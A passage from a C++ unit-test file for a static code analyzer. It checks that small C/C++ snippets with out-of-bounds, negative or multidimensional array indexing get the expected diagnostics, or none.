'M[3][1]' accessed at index M[*][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_54() {\n check(\"void f() {\\n\"\n \" g(0);\\n\"\n \"}\\n\"\n \"void g(unsigned int x) {\\n\"\n \" int b[4];\\n\"\n \" for (unsigned int i = 0; i < 4; i += 2) {\\n\"\n \" b[i] = 0;\\n\"\n \" b[i+1] = 0;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_55() {\n check(\"void make(const char* s, size_t len) {\\n\"\n \" for (size_t i = 0; i < len; ++i)\\n\"\n \" s[i];\\n\"\n \"}\\n\"\n \"void make(const char* s) {\\n\"\n \" make(s, strlen(s));\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" make(\\\"my-utf8-payload\\\");\\n\"\n \"}\\n\"\n \"void f2() {\\n\"\n \" make(\\\"false\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_56() {\n check(\"struct s {\\n\"\n \" int array[1];\\n\"\n \" int index;\\n\"\n \"};\\n\"\n \"void f(struct s foo) {\\n\"\n \" foo.array[foo.index++] = 1;\\n\"\n \" if (foo.index == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_57() {\n check(\"void f(std::vector& v) {\\n\"\n \" int a[3] = { 1, 2, 3 };\\n\"\n \" int i = 0;\\n\"\n \" for (auto& x : v) {\\n\"\n \" int c = a[i++];\\n\"\n \" if (i == 3)\\n\"\n \" i = 0;\\n\"\n \" x = c;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int a[3] = { 1, 2, 3 };\\n\"\n \" int i = 0;\\n\"\n \" for (auto& x : v) {\\n\"\n \" int c = a[i++];\\n\"\n \" if (i == 4)\\n\"\n \" i = 0;\\n\"\n \" x = c;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:15] -> [test.cpp:5:18]: (warning) Either the condition 'i==4' is redundant or the array 'a[3]' is accessed at index 3, which is out of bounds. [arrayIndexOutOfBoundsCond]\\n\",\n errout_str());\n }\n\n void array_index_58()\n {\n check(\"int f(int x, int y) {\\n\"\n \" int a[3]= {0,1,2};\\n\"\n \" if(x<2)\\n\"\n \" y = a[x] + 1;\\n\"\n \" else\\n\"\n \" y = a[x];\\n\"\n \" return y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:9] -> [test.cpp:6:14]: (warning) Either the condition 'x<2' is redundant or the array 'a[3]' is accessed at index 3, which is out of bounds. [arrayIndexOutOfBoundsCond]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #2199\n \" char a[5];\\n\"\n \" for (int i = 0; i < 5; i++) {\\n\"\n \" i += 8;\\n\"\n \" a[i] = 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" char a[5];\\n\"\n \" for (int i = 0; i < 5; i++) {\\n\"\n \" a[i + 7] = 0;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:10]: (error) Array 'a[5]' accessed at index 8, which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:11:10]: (error) Array 'a[5]' accessed at index 11, which is out of bounds. [arrayIndexOutOfBounds]\\n\",\n errout_str());\n }\n\n void array_index_59() // #10413\n {\n check(\"long f(long b) {\\n\"\n \" const long a[] = { 0, 1, };\\n\"\n \" const long c = std::size(a);\\n\"\n \" if (b < 0 || b >= c)\\n\"\n \" return 0;\\n\"\n \" return a[b];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" const int S[2] = {};\\n\"\n \" if (a < 0) {}\\n\"\n \" else {\\n\"\n \" if (b < 0) {}\\n\"\n \" else if (S[b] > S[a]) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int a[2] = {};\\n\"\n \"void f(int i) {\\n\"\n \" g(i < 0 ? 0 : a[i]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_60()\n {\n checkP(\"#define CKR(B) if (!(B)) { return -1; }\\n\"\n \"int f(int i) {\\n\"\n \" const int A[3] = {};\\n\"\n \" CKR(i < 3);\\n\"\n \" if (i > 0)\\n\"\n \" i = A[i];\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define ASSERT(expression, action) if (expression) {action;}\\n\"\n \"int array[5];\\n\"\n \"void func (int index) {\\n\"\n \" ASSERT(index > 5, return);\\n\"\n \" array[index]++;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:5] -> [test.cpp:5:10]: (warning) Either the condition 'index>5' is redundant or the array 'array[5]' is accessed at index 5, which is out of bounds. [arrayIndexOutOfBoundsCond]\\n\",\n errout_str());\n }\n\n void array_index_61()\n {\n check(\"int f(int i) {\\n\"\n \" const int M[] = { 0, 1, 2, 3 };\\n\"\n \" if (i > 4)\\n\"\n \" return -1;\\n\"\n \" if (i < 0 || i == std::size(M))\\n\"\n \" return 0; \\n\"\n \" return M[i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { enum E { e0 }; };\\n\"\n \"const S::E M[4] = { S::E:e0, S::E:e0, S::E:e0, S::E:e0 };\\n\"\n \"int f(int i) {\\n\"\n \" if (i > std::size(M) + 1)\\n\"\n \"\t return -1;\\n\"\n \" if (i < 0 || i >= std::size(M))\\n\"\n \"\t return 0;\\n\"\n \" return M[i]; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_62()\n {\n check(\"struct X {\\n\"\n \" static int GetSize() {return 11;}\\n\"\n \"};\\n\"\n \"char f() {\\n\"\n \" char buf[10]= {0};\\n\"\n \" for(int i = 0; i < X::GetSize(); ++i) \\n\"\n \" buf[i] = 0;\\n\"\n \" return buf[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:11]: (error) Array 'buf[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\",\n errout_str());\n }\n\n void array_index_63()\n {\n check(\"int b[4];\\n\" // #10979\n \"void f(int i) {\\n\"\n \" if (i >= 0 && i < sizeof(b) / sizeof(*(b)))\\n\"\n \" b[i] = 0;\\n\"\n \" if (i >= 0 && i < sizeof(b) / sizeof((b)[0]))\\n\"\n \" b[i] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_64() // #10878\n {\n check(\"struct Array {\\n\"\n \" int x[10];\\n\"\n \" int& accessArrayRef(int a) { return x[a]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Array array = {};\\n\"\n \" array.accessArrayRef(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:42]: (error) Array 'x[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"int i = 10;\\n\"\n \"struct Array {\\n\"\n \" int x[10];\\n\"\n \" int& accessArrayRef(int a) { return x[a]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Array array = {};\\n\"\n \" array.accessArrayRef(i);\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:42]: (error) Array 'x[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", \"\", errout_str());\n }\n\n void array_index_65() // #11066\n {\n check(\"char P[] = { 2, 1 };\\n\"\n \"char f[2];\\n\"\n \"void e(char* c) {\\n\"\n \" register j;\\n\"\n \" for (j = 0; j < 2; j++)\\n\"\n \" c[j] = f[P[j] - 1];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_66()\n {\n check(\"void foo(int j) {\\n\"\n \" int offsets[256];\\n\"\n \" while (x) {\\n\"\n \" if (j >= 256) break;\\n\"\n \" offsets[++j] = -1;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:15] -> [test.cpp:5:16]: (warning) Either the condition 'j>=256' is redundant or the array 'offsets[256]' is accessed at index 256, which is out of bounds. [arrayIndexOutOfBoundsCond]\\n\",\n errout_str());\n }\n\n void array_index_67() {\n check(\"void func(int i) {\\n\" // #1596\n \" int types[3];\\n\"\n \" int type_cnt = 0;\\n\"\n \" if (i == 0) {\\n\"\n \" types[type_cnt] = 0;\\n\"\n \" type_cnt++;\\n\"\n \" types[type_cnt] = 0;\\n\"\n \" type_cnt++;\\n\"\n \" types[type_cnt] = 0;\\n\"\n \" type_cnt++;\\n\"\n \" } else {\\n\"\n \" types[type_cnt] = 1;\\n\"\n \" type_cnt++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_68() { // #6655\n check(\"int ia[10];\\n\"\n \"void f(int len) {\\n\"\n \" for (int i = 0; i < len; i++)\\n\"\n \" ia[i] = 0;\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" f(20);\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Array 'ia[10]' accessed at index 19, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n // #6370\n void array_index_69()\n {\n check(\"void f() {\\n\"\n \" const int e[] = {0,10,20,30};\\n\"\n \" int a[4];\\n\"\n \" for(int i = 0; i < 4; ++i)\\n\"\n \" a[e[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (error) Array 'a[4]' accessed at index 30, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n // #11355\n void array_index_70() {\n check(\"void f() {\\n\"\n \" static const char a[] = ((\\\"test\\\"));\\n\"\n \" printf(\\\"%c\\\", a[5]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Array 'a[5]' accessed at index 5, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n // #11461\n void array_index_71()\n {\n check(\"unsigned int f(unsigned int Idx) {\\n\"\n \" if (Idx < 64)\\n\"\n \" return 0;\\n\"\n \" Idx -= 64;\\n\"\n \" int arr[64] = { 0 };\\n\"\n \" return arr[Idx];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #11784\n void array_index_72()\n {\n check(\"char f(int i) {\\n\"\n \" char d[4] = {};\\n\"\n \" for (; i < 3; i++) {}\\n\"\n \" for (i++; i > 0;) {\\n\"\n \" d[--i] = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return d[3];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #11530\n void array_index_73()\n {\n check(\"void f() {\\n\"\n \" int k = 0;\\n\"\n \" std::function a[1] = {};\\n\"\n \" a[k++](0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #11088\n void array_index_74()\n {\n check(\"void foo(const char *keys) {\\n\"\n \" const char *prefix = \\\"') {}\\n\"\n \"}\\n\"\n \"void bar() {\\n\"\n \" foo(\\\"q\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #1644\n void array_index_75()\n {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i = 10;\\n\"\n \" while (i >= 3)\\n\"\n \" buf[i--] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Array 'buf[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n // #12592\n void array_index_76()\n {\n check(\"void cb0(void*, int i) {\\n\"\n \" const char s[] = \\\"\\\";\\n\"\n \" (void)s[i];\\n\"\n \"}\\n\"\n \"void cb1(int i, void*) {\\n\"\n \" const char s[] = \\\"\\\";\\n\"\n \" (void)s[i];\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" cb0(nullptr, 1);\\n\"\n \" cb1(1, nullptr);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Array 's[1]' accessed at index 1, which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:7:12]: (error) Array 's[1]' accessed at index 1, which is out of bounds. [arrayIndexOutOfBounds]\\n\",\n errout_str());\n }\n\n void array_index_multidim() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2][2];\\n\"\n \" a[1][1] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2][2][2];\\n\"\n \" a[1][1][1] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2][2];\\n\"\n \" a[2][1] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'a[2][2]' accessed at index a[2][1], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2][2];\\n\"\n \" a[1][2] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'a[2][2]' accessed at index a[1][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2][2][2];\\n\"\n \" a[2][1][1] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'a[2][2][2]' accessed at index a[2][1][1], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2][2][2];\\n\"\n \" a[1][2][1] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'a[2][2][2]' accessed at index a[1][2][1], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2][2][2][2];\\n\"\n \" a[1][2][1][1] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'a[2][2][2][2]' accessed at index a[1][2][1][1], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2][2][2];\\n\"\n \" a[1][1][2] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'a[2][2][2]' accessed at index a[1][1][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[10][10][10];\\n\"\n \" a[2*3][4*3][2] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'a[10][10][10]' accessed at index a[6][12][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10][10][10];\\n\"\n \" a[6][40][10] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: (error) Array 'a[10][10][10]' accessed at index a[6][40][10], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1][1];\\n\"\n \" a[2][2][2] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: (error) Array 'a[1][1][1]' accessed at index a[2][2][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[6][6][6];\\n\"\n \" a[6][6][2] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: (error) Array 'a[6][6][6]' accessed at index a[6][6][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[2][2];\\n\"\n \" p = &a[2][0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unknown dim..\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[2][countof(x)] = {{1,2},{3,4}};\\n\"\n \" a[0][0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void draw_quad(float z) {\\n\"\n \" int i;\\n\"\n \" float (*vertices)[2][4];\\n\"\n \" vertices[0][0][0] = z;\\n\"\n \" vertices[0][0][1] = z;\\n\"\n \" vertices[1][0][0] = z;\\n\"\n \" vertices[1][0][1] = z;\\n\"\n \" vertices[2][0][0] = z;\\n\"\n \" vertices[2][0][1] = z;\\n\"\n \" vertices[3][0][0] = z;\\n\"\n \" vertices[3][0][1] = z;\\n\"\n \" for (i = 0; i < 4; i++) {\\n\"\n \" vertices[i][0][2] = z;\\n\"\n \" vertices[i][0][3] = 1.0;\\n\"\n \" vertices[i][1][0] = 2.0;\\n\"\n \" vertices[i][1][1] = 3.0;\\n\"\n \" vertices[i][1][2] = 4.0;\\n\"\n \" vertices[i][1][3] = 5.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"int foo() {\\n\"\n \" const size_t A = 4;\\n\"\n \" const size_t B = 2;\\n\"\n \" extern int stuff[A][B];\\n\"\n \" return stuff[0][1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: better handling of VLAs in symboldatabase. should be\n // possible to use ValueFlow values.\n check(\"int foo() {\\n\"\n \" const size_t A = 4;\\n\"\n \" const size_t B = 2;\\n\"\n \" extern int stuff[A][B];\\n\"\n \" return stuff[0][1];\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n }\n\n void array_index_switch_in_for() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int ar[10];\\n\"\n \" for (int i = 0; i < 10; ++i)\\n\"\n \" {\\n\"\n \" switch(i)\\n\"\n \" {\\n\"\n \" case 9:\\n\"\n \" ar[i] = 0;\\n\"\n \" break;\\n\"\n \" default:\\n\"\n \" ar[i] = ar[i+1];\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int ar[10];\\n\"\n \" for (int i = 0; i < 10; ++i)\\n\"\n \" {\\n\"\n \" switch(i)\\n\"\n \" {\\n\"\n \" case 8:\\n\"\n \" ar[i] = 0;\\n\"\n \" break;\\n\"\n \" default:\\n\"\n \" ar[i] = ar[i+1];\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:12]: (error) Array index out of bounds.\\n\", \"\", errout_str());\n }\n\n void array_index_for_in_for() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" for (int j = i; j < 5; ++j) {\\n\"\n \" a[i] = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_bounds() {\n // #10275\n check(\"int a[10];\\n\"\n \"void f(int i) {\\n\"\n \" if (i >= 0 && i < 10) {}\\n\"\n \" a[i] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:4:4]: (warning) Either the condition 'i<10' is redundant or the array 'a[10]' is accessed at index 10, which is out of bounds. [arrayIndexOutOfBoundsCond]\\n\"\n \"[test.cpp:3:9] -> [test.cpp:4:4]: (warning) Either the condition 'i>=0' is redundant or the array 'a[10]' is accessed at index -1, which is out of bounds. [negativeIndex]\\n\",\n errout_str());\n }\n\n void array_index_calculation() {\n // #1193 - false negative: array out of bounds in loop when there is calculation\n check(\"void f()\\n\"\n \"{\\n\"\n \" char data[8];\\n\"\n \" for (int i = 19; i < 36; ++i) {\\n\"\n \" data[i/2] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Array 'data[8]' accessed at index 17, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // #2199 - false negative: array out of bounds in loop when there is calculation\n check(\"void f()\\n\"\n \"{\\n\"\n \" char arr[5];\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" arr[i + 7] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Array 'arr[5]' accessed at index 11, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_negative1() {\n // #948 - array index out of bound not detected 'a[-1] = 0'\n check(\"void f()\\n\"\n \"{\\n\"\n \" char data[8];\\n\"\n \" data[-1] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Array 'data[8]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char data[8][4];\\n\"\n \" data[5][-1] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Array 'data[8][4]' accessed at index data[*][-1], which is out of bounds. [negativeIndex]\\n\", errout_str());\n\n // #1614 - negative index is ok for pointers\n check(\"void foo(char *p)\\n\"\n \"{\\n\"\n \" p[-1] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char s[] = \\\"abc\\\";\\n\"\n \" char *p = s + strlen(s);\\n\"\n \" if (p[-1]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #1850\n check(\"int f(const std::map > &m)\\n\"\n \"{\\n\"\n \" return m[0][-1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_negative2() { // ticket #3063\n check(\"struct TEST { char a[10]; };\\n\"\n \"void foo() {\\n\"\n \" TEST test;\\n\"\n \" test.a[-1] = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Array 'test.a[10]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n void array_index_negative3() {\n check(\"int f(int i) {\\n\"\n \" int p[2] = {0, 0};\\n\"\n \" if(i >= 2)\\n\"\n \" return 0;\\n\"\n \" else if(i == 0)\\n\"\n \" return 0;\\n\"\n \" return p[i - 1];\\n\"\n \"}\\n\"\n \"void g(int i) {\\n\"\n \" if( i == 0 )\\n\"\n \" return f(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_negative4()\n {\n check(\"void f(void) {\\n\"\n \" int buf[64]={};\\n\"\n \" int i;\\n\"\n \" for(i=0; i <16; ++i){}\\n\"\n \" for(; i < 24; ++i){ buf[i] = buf[i-16];}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_negative5() // #10526\n {\n check(\"int i;\\n\"\n \"std::vector v;\\n\"\n \"bool f() {\\n\"\n \" if (i != 0) {\\n\"\n \" if (v.begin() != v.end()) {\\n\"\n \" if (i < 0)\\n\"\n \" return false;\\n\"\n \" const int a[4] = { 0, 1, 2, 3 };\\n\"\n \" return a[i - 1] > 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #11349\n void array_index_negative6()\n {\n check(\"void f(int i) {\\n\"\n \" int j = i;\\n\"\n \" const int a[5] = {};\\n\"\n \" const int k = j < 0 ? 0 : j;\\n\"\n \" (void)a[k];\\n\"\n \" if (i == -3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #5685\n void array_index_negative7()\n {\n check(\"void f() {\\n\"\n \" int i = -9;\\n\"\n \" int a[5];\\n\"\n \" for (; i < 5; i++)\\n\"\n \" a[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[5]' accessed at index -9, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n // #11651\n void array_index_negative8()\n {\n check(\"unsigned g(char*);\\n\"\n \"void f() {\\n\"\n \" char buf[10];\\n\"\n \" unsigned u = g(buf);\\n\"\n \" for (int i = u, j = sizeof(i); --i >= 0;)\\n\"\n \" char c = buf[i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #8075\n void array_index_negative9()\n {\n check(\"int g(int i) {\\n\"\n \" if (i < 10)\\n\"\n \" return -1;\\n\"\n \" return 0;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" int a[] = { 1, 2, 3 };\\n\"\n \" printf(\\\"%d\\\\n\\\", a[g(4)]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (error) Array 'a[3]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n // #11844\n void array_index_negative10()\n {\n check(\"struct S { int a[4]; };\\n\"\n \"void f(S* p, int k) {\\n\"\n \" int m = 3;\\n\"\n \" if (k)\\n\"\n \" m = 2;\\n\"\n \" for (int j = m + 1; j <= 4; j++)\\n\"\n \" p->a[j-1];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_for_decr() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char data[8];\\n\"\n \" for (int i = 10; i > 0; --i) {\\n\"\n \" data[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Array 'data[8]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char val[5];\\n\"\n \" for (unsigned int i = 3; i < 5; --i) {\\n\"\n \" val[i+1] = val[i];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char val[5];\\n\"\n \" for (int i = 3; i < 5; --i) {\\n\"\n \" val[i+1] = val[i];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Array 'val[5]' accessed at index -9994, which is out of bounds. [negativeIndex]\\n\"\n \"[test.cpp:5:23]: (error) Array 'val[5]' accessed at index -9995, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n\n void array_index_varnames() {\n check(\"struct A {\\n\"\n \" char data[4];\\n\"\n \" struct B { char data[3]; };\\n\"\n \" B b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" a.data[3] = 0;\\n\"\n \" a.b.data[2] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #1586\n check(\"struct A {\\n\"\n \" char data[4];\\n\"\n \" struct B { char data[3]; };\\n\"\n \" B b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" a.data[4] = 0;\\n\"\n \" a.b.data[3] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (error) Array 'a.data[4]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:11:13]: (error) Array 'a.b.data[3]' accessed at index 3, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_for_andand_oror() { // #3907 - using && or ||\n // extracttests.start: volatile int y;\n\n check(\"void f() {\\n\"\n \" char data[2];\\n\"\n \" int x;\\n\"\n \" for (x = 0; x < 10 && y; x++) {\\n\"\n \" data[x] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Array 'data[2]' accessed at index 9, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char data[2];\\n\"\n \" int x;\\n\"\n \" for (x = 0; x < 10 || y; x++) {\\n\"\n \" data[x] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Array 'data[2]' accessed at index 9, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char data[2];\\n\"\n \" int x;\\n\"\n \" for (x = 0; x <= 10 && y; x++) {\\n\"\n \" data[x] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Array 'data[2]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char data[2];\\n\"\n \" int x;\\n\"\n \" for (x = 0; y && x <= 10; x++) {\\n\"\n \" data[x] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Array 'data[2]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #9126\n \" int i, c;\\n\"\n \" char* words[100] = {0};\\n\"\n \" g(words);\\n\"\n \" for (i = c = 0; (i 